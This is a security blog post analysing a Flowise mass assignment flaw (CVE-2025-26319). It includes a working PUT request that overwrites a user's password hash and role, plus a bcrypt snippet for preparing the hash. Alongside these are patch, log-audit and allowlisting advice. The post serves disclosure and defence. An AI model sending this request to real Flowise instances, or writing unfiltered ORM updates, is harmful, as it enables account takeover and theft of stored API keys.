ekofyi
Security Research6 min read

Flowise Mass Assignment: How One PUT Request Lets Any User Become Admin

CVE-2025-26319 exposes a critical mass assignment flaw in Flowise's PUT /api/v1/user endpoint, letting any authenticated user overwrite password hashes and escalate privileges without verification.

Your AI Workflow Tool Just Handed Every User the Keys to the Kingdom

If you're running Flowise — the popular open-source low-code AI workflow builder — and you have more than one user account on your instance, you have a problem. A serious one. Any authenticated user can silently overwrite another user's password hash, bypass all password change verification, and effectively take over any account on the platform, including admin.

This isn't a theoretical attack. It's a straightforward PUT request with a JSON body. No exploit chain, no memory corruption, no race condition. Just a developer who forgot to filter which fields an API endpoint accepts. The vulnerability is tracked as GHSA-59fh-9f3p-7m39 (CVE-2025-26319) and affects Flowise versions prior to 2.2.7.

The worst part? If you're self-hosting Flowise (which most people do), there's a good chance you haven't patched yet.

What Happened

Flowise exposes a REST API for managing users at PUT /api/v1/user. This endpoint is meant to let authenticated users update their own profile — things like display name or preferences. The problem is that the endpoint accepts any field in the request body and passes it directly to the database update operation without filtering or allowlisting.

This means an authenticated user can include the credential field (which stores the bcrypt password hash) in their PUT request and the server will happily overwrite it. No current-password verification. No confirmation step. No role check to see if you should be allowed to modify that field.

The vulnerability is a textbook mass assignment flaw. The ORM (in this case, TypeORM with a SQLite or PostgreSQL backend) receives the entire request body and applies it as an update. Any column in the user table is fair game: role, credential, email, status — all of it.

The CVSS score hasn't been formally published at the time of writing, but given that it enables full account takeover with minimal privileges and zero user interaction, I'd put this firmly in the Critical range (9.0+).

Technical Deep-Dive: How the Attack Works

Let's look at the vulnerable pattern. In Flowise's codebase (pre-2.2.7), the user update handler looks something like this:

typescript
// Simplified vulnerable pattern from Flowise's user controller
app.put('/api/v1/user', async (req, res) => {
    const userId = req.user.id
    const updatedData = req.body // <-- entire body, unfiltered

    await userRepository.update({ id: userId }, updatedData)

    return res.json({ success: true })
})

The req.body goes straight into the ORM's update method. There's no allowlist of permitted fields. Whatever you send gets written to the database.

Now here's the exploit. An attacker who has any valid authenticated session (even the lowest-privilege user) can craft this request:

http
PUT /api/v1/user HTTP/1.1
Host: target-flowise-instance.com
Authorization: Bearer <valid-jwt-token>
Content-Type: application/json

{
    "credential": "$2b$10$abcdefghijklmnopqrstuuABCDEFGHIJKLMNOPQRSTUVWXYZ012",
    "role": "admin"
}

That credential value is a pre-computed bcrypt hash of a password the attacker knows (say, hacked123). After this request succeeds, the attacker can log in with the new password. And if the instance doesn't have strict role separation on this endpoint, they've also just promoted themselves to admin.

Generating the hash is trivial:

javascript
const bcrypt = require('bcrypt')

const myPassword = 'hacked123'
const hash = bcrypt.hashSync(myPassword, 10)
console.log(hash)
// Use this hash in the PUT request body

The root cause is a combination of two failures:

  1. No input filtering — the endpoint doesn't restrict which fields can be modified
  2. No authorization boundary — there's no check preventing a user from modifying sensitive fields like credential or role

This is mass assignment 101. It's been in the OWASP Top 10 API Security Risks (as API3:2023 — Broken Object Property Level Authorization) for years. And yet it keeps showing up because developers trust their ORMs to be safe by default. They're not.

Impact: Who Should Be Worried

Flowise has over 35,000 stars on GitHub and is widely deployed by teams building AI agents, RAG pipelines, and LLM-powered applications. Many of these deployments are internal tools with multiple user accounts — exactly the scenario where this vulnerability becomes exploitable.

The blast radius here is significant. Any multi-user Flowise instance running a version before 2.2.7 is vulnerable. An attacker needs only a low-privilege account (or the ability to register one, if registration is open). From there, it's full account takeover of any user, including admins who control API keys, model configurations, and connected data sources.

Think about what Flowise typically has access to: OpenAI API keys, database credentials for vector stores, internal documents loaded into RAG pipelines. Compromising the admin account on a Flowise instance often means compromising the entire AI infrastructure it's connected to.

What to Do About It Right Now

First, upgrade to Flowise 2.2.7 or later immediately:

bash
# If installed via npm
npm update flowise -g

# If running via Docker
docker pull flowiseai/flowise:latest
docker-compose up -d

# Verify your version
flowise --version

If you can't upgrade immediately, you need a mitigation. Put a reverse proxy in front of Flowise that strips dangerous fields from PUT requests to the user endpoint:

nginx
# Nginx mitigation - block credential field in request body
# This is a stopgap, not a fix. Upgrade ASAP.
location /api/v1/user {
    if ($request_method = PUT) {
        # Log and inspect - consider blocking entirely
        access_log /var/log/nginx/flowise_user_updates.log;
    }
    proxy_pass http://flowise_backend;
}

Warning: The nginx approach above only gives you visibility, not protection. For actual field-level filtering, you'd need a WAF rule or an application-level middleware. The real fix is upgrading.

After upgrading, rotate all user passwords and audit your logs for suspicious PUT requests to /api/v1/user that contain credential or role fields:

bash
# Search access logs for potential exploitation
grep -i 'PUT.*\/api\/v1\/user' /var/log/nginx/access.log | \
  grep -v '"status":4' | \
  tail -50

Also review any API keys or credentials stored in your Flowise instance. If an attacker gained admin access, assume those secrets are compromised and rotate them.

The Bigger Picture

Mass assignment vulnerabilities are embarrassingly common in Node.js/TypeScript applications because the language makes it so easy to spread an object into a database call. The pattern of repository.update(id, req.body) feels natural and clean — until you realize you've just given every API consumer write access to every column in your table.

The fix is always the same: explicitly allowlist fields. Never pass user input directly to an ORM update. It takes five extra lines of code and prevents an entire class of vulnerabilities.

This is also a reminder that AI tooling is moving fast and security is lagging behind. Flowise, LangChain, and similar tools are being deployed into production environments with access to sensitive data and expensive API keys. They deserve the same security scrutiny as any other production application — but they're often treated as internal tools that "don't need to be hardened." They do.

Related posts

Written by Eko

If you found this useful, follow @ekofyi on X for more notes like this — or get in touch if you have a problem to solve.